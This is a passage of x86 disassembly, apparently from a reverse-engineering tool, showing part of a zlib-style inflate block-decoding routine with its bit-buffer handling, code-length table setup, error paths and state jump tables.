		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, ecx
		mov	ecx, [ebp+var_14]
		shl	edx, cl
		mov	eax, [ebp+var_C]
		or	eax, edx
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_14]
		add	edx, 8
		mov	[ebp+var_14], edx
		jmp	loc_42B9B5
; ---------------------------------------------------------------------------


loc_42BA5F:				; CODE XREF: sub_42B09D+91Cj
		mov	eax, [ebp+var_C]
		and	eax, 7
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		mov	ecx, dword_434450[edx*4]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+0Ch]
		mov	[edx+ecx*4], eax
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+8], ecx
		mov	eax, [ebp+var_C]
		shr	eax, 3
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_14]
		sub	ecx, 3
		mov	[ebp+var_14], ecx
		jmp	loc_42B99D
; ---------------------------------------------------------------------------


loc_42BAA1:				; CODE XREF: sub_42B09D+912j
					; sub_42B09D+A36j
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+8], 13h
		jnb	short loc_42BAD5
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		mov	edx, dword_434450[ecx*4]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+0Ch]
		mov	dword ptr [ecx+edx*4], 0
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		add	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	[ecx+8], eax
		jmp	short loc_42BAA1
; ---------------------------------------------------------------------------


loc_42BAD5:				; CODE XREF: sub_42B09D+A0Bj
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+10h], 7
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+24h]
		push	edx
		mov	eax, [ebp+arg_0]
		add	eax, 14h
		push	eax
		mov	ecx, [ebp+arg_0]
		add	ecx, 10h
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+0Ch]
		push	eax
		call	sub_42CD2E
		add	esp, 14h
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	loc_42BB9B
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+28h]
		push	ecx
		mov	edx, [ebp+arg_4]
		call	dword ptr [edx+24h]
		add	esp, 8
		mov	eax, [ebp+var_10]
		mov	[ebp+arg_8], eax
		cmp	[ebp+arg_8], 0FFFFFFFDh
		jnz	short loc_42BB40
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx], 9


loc_42BB40:				; CODE XREF: sub_42B09D+A98j
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_C]
		mov	[edx+20h], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_14]
		mov	[ecx+1Ch], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_1C]
		mov	[eax+4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		sub	eax, [edx]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+8]
		add	edx, eax
		mov	eax, [ebp+arg_4]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		mov	[ecx], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		mov	[eax+34h], ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_429F50
		add	esp, 0Ch
		jmp	loc_42C3C9
; ---------------------------------------------------------------------------


loc_42BB9B:				; CODE XREF: sub_42B09D+A71j
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+8], 0
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax], 5


loc_42BBAE:				; CODE XREF: sub_42B09D+75j
					; sub_42B09D:loc_42BF3Cj
					; DATA XREF: ...
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		and	eax, 1Fh
		mov	ecx, [ebp+var_10]
		shr	ecx, 5
		and	ecx, 1Fh
		lea	edx, [eax+ecx+102h]
		mov	eax, [ebp+arg_0]
		cmp	[eax+8], edx
		jnb	loc_42BF41
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+10h]
		mov	[ebp+var_10], edx


loc_42BBE2:				; CODE XREF: sub_42B09D+BEAj
		mov	eax, [ebp+var_14]
		cmp	eax, [ebp+var_10]
		jnb	loc_42BC8C
		cmp	[ebp+var_1C], 0
		jz	short loc_42BBFD
		mov	[ebp+arg_8], 0
		jmp	short loc_42BC58
; ---------------------------------------------------------------------------


loc_42BBFD:				; CODE XREF: sub_42B09D+B55j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_1C]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[edx+34h], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_429F50
		add	esp, 0Ch
		jmp	loc_42C3C9
; ---------------------------------------------------------------------------


loc_42BC58:				; CODE XREF: sub_42B09D+B5Ej
		mov	ecx, [ebp+var_1C]
		sub	ecx, 1
		mov	[ebp+var_1C], ecx
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, [ebp+var_14]
		shl	eax, cl
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_14]
		add	eax, 8
		mov	[ebp+var_14], eax
		jmp	loc_42BBE2
; ---------------------------------------------------------------------------


loc_42BC8C:				; CODE XREF: sub_42B09D+B4Bj
		mov	ecx, [ebp+var_10]
		mov	edx, [ebp+var_C]
		and	edx, dword_433308[ecx*4]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		lea	edx, [ecx+edx*8]
		mov	[ebp+var_34], edx
		mov	eax, [ebp+var_34]
		xor	ecx, ecx
		mov	cl, [eax+1]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_34]
		mov	eax, [edx+4]
		mov	[ebp+var_30], eax
		cmp	[ebp+var_30], 10h
		jnb	short loc_42BCF9
		mov	edx, [ebp+var_C]
		mov	ecx, [ebp+var_10]
		shr	edx, cl
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_14]
		sub	eax, [ebp+var_10]
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+0Ch]
		mov	eax, [ebp+var_30]
		mov	[ecx+edx*4], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx
		jmp	loc_42BF3C
; ---------------------------------------------------------------------------


loc_42BCF9:				; CODE XREF: sub_42B09D+C20j
		cmp	[ebp+var_30], 12h
		jnz	short loc_42BD08
		mov	[ebp+var_70], 7
		jmp	short loc_42BD11
; ---------------------------------------------------------------------------


loc_42BD08:				; CODE XREF: sub_42B09D+C60j
		mov	ecx, [ebp+var_30]
		sub	ecx, 0Eh
		mov	[ebp+var_70], ecx


loc_42BD11:				; CODE XREF: sub_42B09D+C69j
		mov	edx, [ebp+var_70]
		mov	[ebp+var_38], edx
		mov	eax, [ebp+var_30]
		sub	eax, 12h
		neg	eax
		sbb	eax, eax
		and	al, 0F8h
		add	eax, 0Bh
		mov	[ebp+var_3C], eax


loc_42BD29:				; CODE XREF: sub_42B09D+D36j
		mov	ecx, [ebp+var_10]
		add	ecx, [ebp+var_38]
		cmp	[ebp+var_14], ecx
		jnb	loc_42BDD8
		cmp	[ebp+var_1C], 0
		jz	short loc_42BD47
		mov	[ebp+arg_8], 0
		jmp	short loc_42BDA2
; ---------------------------------------------------------------------------


loc_42BD47:				; CODE XREF: sub_42B09D+C9Fj
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_C]
		mov	[edx+20h], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_14]
		mov	[ecx+1Ch], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_1C]
		mov	[eax+4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		sub	eax, [edx]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+8]
		add	edx, eax
		mov	eax, [ebp+arg_4]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		mov	[ecx], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		mov	[eax+34h], ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_429F50
		add	esp, 0Ch
		jmp	loc_42C3C9
; ---------------------------------------------------------------------------


loc_42BDA2:				; CODE XREF: sub_42B09D+CA8j
		mov	edx, [ebp+var_1C]
		sub	edx, 1
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, ecx
		mov	ecx, [ebp+var_14]
		shl	edx, cl
		mov	eax, [ebp+var_C]
		or	eax, edx
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_14]
		add	edx, 8
		mov	[ebp+var_14], edx
		jmp	loc_42BD29
; ---------------------------------------------------------------------------


loc_42BDD8:				; CODE XREF: sub_42B09D+C95j
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_10]
		shr	eax, cl
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_14]
		sub	ecx, [ebp+var_10]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_38]
		mov	eax, [ebp+var_C]
		and	eax, dword_433308[edx*4]
		mov	ecx, [ebp+var_3C]
		add	ecx, eax
		mov	[ebp+var_3C], ecx
		mov	edx, [ebp+var_C]
		mov	ecx, [ebp+var_38]
		shr	edx, cl
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_14]
		sub	eax, [ebp+var_38]
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		mov	[ebp+var_38], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_38]
		add	edx, [ebp+var_3C]
		mov	eax, [ebp+var_10]
		and	eax, 1Fh
		mov	ecx, [ebp+var_10]
		shr	ecx, 5
		and	ecx, 1Fh
		lea	eax, [eax+ecx+102h]
		cmp	edx, eax
		ja	short loc_42BE5B
		cmp	[ebp+var_30], 10h
		jnz	loc_42BEE7
		cmp	[ebp+var_38], 1
		jnb	loc_42BEE7


loc_42BE5B:				; CODE XREF: sub_42B09D+DA8j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+28h]
		push	ecx
		mov	edx, [ebp+arg_4]
		call	dword ptr [edx+24h]
		add	esp, 8
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax], 9
		mov	ecx, [ebp+arg_4]
		mov	dword ptr [ecx+18h], offset aInvalidBitLeng ; "invalid bit length repeat"
		mov	[ebp+arg_8], 0FFFFFFFDh
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_C]
		mov	[edx+20h], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_14]
		mov	[ecx+1Ch], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_1C]
		mov	[eax+4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		sub	eax, [edx]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+8]
		add	edx, eax
		mov	eax, [ebp+arg_4]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		mov	[ecx], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		mov	[eax+34h], ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_429F50
		add	esp, 0Ch
		jmp	loc_42C3C9
; ---------------------------------------------------------------------------


loc_42BEE7:				; CODE XREF: sub_42B09D+DAEj
					; sub_42B09D+DB8j
		cmp	[ebp+var_30], 10h
		jnz	short loc_42BEFF
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+0Ch]
		mov	ecx, [ebp+var_38]
		mov	edx, [eax+ecx*4-4]
		mov	[ebp+var_74], edx
		jmp	short loc_42BF06
; ---------------------------------------------------------------------------


loc_42BEFF:				; CODE XREF: sub_42B09D+E4Ej
		mov	[ebp+var_74], 0


loc_42BF06:				; CODE XREF: sub_42B09D+E60j
		mov	eax, [ebp+var_74]
		mov	[ebp+var_30], eax


loc_42BF0C:				; CODE XREF: sub_42B09D+E94j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		mov	eax, [ebp+var_38]
		mov	ecx, [ebp+var_30]
		mov	[edx+eax*4], ecx
		mov	edx, [ebp+var_38]
		add	edx, 1
		mov	[ebp+var_38], edx
		mov	eax, [ebp+var_3C]
		sub	eax, 1
		mov	[ebp+var_3C], eax
		cmp	[ebp+var_3C], 0
		jnz	short loc_42BF0C
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_38]
		mov	[ecx+8], edx


loc_42BF3C:				; CODE XREF: sub_42B09D+C57j
		jmp	loc_42BBAE
; ---------------------------------------------------------------------------


loc_42BF41:				; CODE XREF: sub_42B09D+B36j
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+14h], 0
		mov	[ebp+var_4C], 9
		mov	[ebp+var_40], 6
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+24h]
		push	edx
		lea	eax, [ebp+var_50]
		push	eax
		lea	ecx, [ebp+var_48]
		push	ecx
		lea	edx, [ebp+var_40]
		push	edx
		lea	eax, [ebp+var_4C]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		push	edx
		mov	eax, [ebp+var_10]
		shr	eax, 5
		and	eax, 1Fh
		add	eax, 1
		push	eax
		mov	ecx, [ebp+var_10]
		and	ecx, 1Fh
		add	ecx, 101h
		push	ecx
		call	sub_42CDD6
		add	esp, 24h
		mov	[ebp+var_10], eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+0Ch]
		push	eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+28h]
		push	edx
		mov	eax, [ebp+arg_4]
		call	dword ptr [eax+24h]
		add	esp, 8
		cmp	[ebp+var_10], 0
		jz	short loc_42C036
		cmp	[ebp+var_10], 0FFFFFFFDh
		jnz	short loc_42BFD5
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx], 9


loc_42BFD5:				; CODE XREF: sub_42B09D+F2Dj
		mov	edx, [ebp+var_10]
		mov	[ebp+arg_8], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_C]
		mov	[eax+20h], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_14]
		mov	[edx+1Ch], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_1C]
		mov	[ecx+4], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		sub	ecx, [eax]
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+8]
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	[ecx+8], eax
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		mov	[edx], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	[ecx+34h], edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_429F50
		add	esp, 0Ch
		jmp	loc_42C3C9
; ---------------------------------------------------------------------------


loc_42C036:				; CODE XREF: sub_42B09D+F27j
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_50]
		push	ecx
		mov	edx, [ebp+var_48]
		push	edx
		mov	eax, [ebp+var_40]
		push	eax
		mov	ecx, [ebp+var_4C]
		push	ecx
		call	sub_42A129
		add	esp, 14h
		mov	[ebp+var_44], eax
		cmp	[ebp+var_44], 0
		jnz	short loc_42C0BD
		mov	[ebp+arg_8], 0FFFFFFFCh
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_C]
		mov	[edx+20h], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_14]
		mov	[ecx+1Ch], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_1C]
		mov	[eax+4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		sub	eax, [edx]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+8]
		add	edx, eax
		mov	eax, [ebp+arg_4]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		mov	[ecx], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		mov	[eax+34h], ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_429F50
		add	esp, 0Ch
		jmp	loc_42C3C9
; ---------------------------------------------------------------------------


loc_42C0BD:				; CODE XREF: sub_42B09D+FBCj
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_44]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx], 6


loc_42C0CF:				; CODE XREF: sub_42B09D+75j
					; DATA XREF: HLXc:0042C3E5o
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_C]
		mov	[edx+20h], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_14]
		mov	[ecx+1Ch], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_1C]
		mov	[eax+4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		sub	eax, [edx]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+8]
		add	edx, eax
		mov	eax, [ebp+arg_4]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		mov	[ecx], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		mov	[eax+34h], ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42A17E
		add	esp, 0Ch
		mov	[ebp+arg_8], eax
		cmp	[ebp+arg_8], 1
		jz	short loc_42C147
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_429F50
		add	esp, 0Ch
		jmp	loc_42C3C9
; ---------------------------------------------------------------------------


loc_42C147:				; CODE XREF: sub_42B09D+108Fj
		mov	[ebp+arg_8], 0
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		push	ecx
		call	sub_42AED5
		add	esp, 8
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+4]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+34h]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		cmp	ecx, [eax+30h]
		jnb	short loc_42C1A9
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+30h]
		sub	eax, [ebp+var_8]
		sub	eax, 1
		mov	[ebp+var_78], eax
		jmp	short loc_42C1B5
; ---------------------------------------------------------------------------


loc_42C1A9:				; CODE XREF: sub_42B09D+10F9j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+2Ch]
		sub	edx, [ebp+var_8]
		mov	[ebp+var_78], edx


loc_42C1B5:				; CODE XREF: sub_42B09D+110Aj
		mov	eax, [ebp+var_78]
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+18h], 0
		jnz	short loc_42C1D2
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx], 0
		jmp	loc_42C3C4
; ---------------------------------------------------------------------------


loc_42C1D2:				; CODE XREF: sub_42B09D+1125j
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax], 7


loc_42C1DB:				; CODE XREF: sub_42B09D+75j
					; DATA XREF: HLXc:0042C3E9o
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	[ecx+34h], edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_429F50
		add	esp, 0Ch
		mov	[ebp+arg_8], eax
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+34h]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		cmp	eax, [edx+30h]
		jnb	short loc_42C220
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+30h]
		sub	edx, [ebp+var_8]
		sub	edx, 1
		mov	[ebp+var_7C], edx
		jmp	short loc_42C22C
; ---------------------------------------------------------------------------


loc_42C220:				; CODE XREF: sub_42B09D+1170j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+2Ch]
		sub	ecx, [ebp+var_8]
		mov	[ebp+var_7C], ecx


loc_42C22C:				; CODE XREF: sub_42B09D+1181j
		mov	edx, [ebp+var_7C]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_0]
		mov	edx, [eax+30h]
		cmp	edx, [ecx+34h]
		jz	short loc_42C29B
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_C]
		mov	[eax+20h], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_14]
		mov	[edx+1Ch], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_1C]
		mov	[ecx+4], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		sub	ecx, [eax]
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+8]
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	[ecx+8], eax
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		mov	[edx], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	[ecx+34h], edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_429F50
		add	esp, 0Ch
		jmp	loc_42C3C9
; ---------------------------------------------------------------------------


loc_42C29B:				; CODE XREF: sub_42B09D+11A1j
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax], 8


loc_42C2A4:				; CODE XREF: sub_42B09D+75j
					; DATA XREF: HLXc:0042C3EDo
		mov	[ebp+arg_8], 1
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_1C]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[edx+34h], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_429F50
		add	esp, 0Ch
		jmp	loc_42C3C9
; ---------------------------------------------------------------------------


loc_42C306:				; CODE XREF: sub_42B09D+75j
					; DATA XREF: HLXc:0042C3F1o
		mov	[ebp+arg_8], 0FFFFFFFDh
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_1C]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[edx+34h], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_429F50
		add	esp, 0Ch
		jmp	short loc_42C3C9
; ---------------------------------------------------------------------------


loc_42C365:				; CODE XREF: sub_42B09D+6Cj
		mov	[ebp+arg_8], 0FFFFFFFEh
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_1C]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[edx+34h], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_429F50
		add	esp, 0Ch
		jmp	short loc_42C3C9
; ---------------------------------------------------------------------------


loc_42C3C4:				; CODE XREF: sub_42B09D:loc_42B3A1j
					; sub_42B09D+487j ...
		jmp	loc_42B0FD
; ---------------------------------------------------------------------------


loc_42C3C9:				; CODE XREF: sub_42B09D+EBj
					; sub_42B09D+238j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42B09D	endp

; ---------------------------------------------------------------------------
off_42C3CD	dd offset loc_42B119	; DATA XREF: sub_42B09D+75r
		dd offset loc_42B3A6
		dd offset loc_42B529
		dd offset loc_42B78E
		dd offset loc_42B99D
		dd offset loc_42BBAE
		dd offset loc_42C0CF
		dd offset loc_42C1DB
		dd offset loc_42C2A4
		dd offset loc_42C306
off_42C3F5	dd offset loc_42B1F4	; DATA XREF: sub_42B09D+150r
		dd offset loc_42B231
		dd offset loc_42B2FA
		dd offset loc_42B31A

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C405	proc near		; CODE XREF: sub_42DB7C+3Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42AEEE
		add	esp, 0Ch
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+28h]
		push	eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+28h]
		push	edx
		mov	eax, [ebp+arg_4]
		call	dword ptr [eax+24h]
		add	esp, 8
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+24h]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+28h]
		push	ecx
		mov	edx, [ebp+arg_4]
		call	dword ptr [edx+24h]
		add	esp, 8
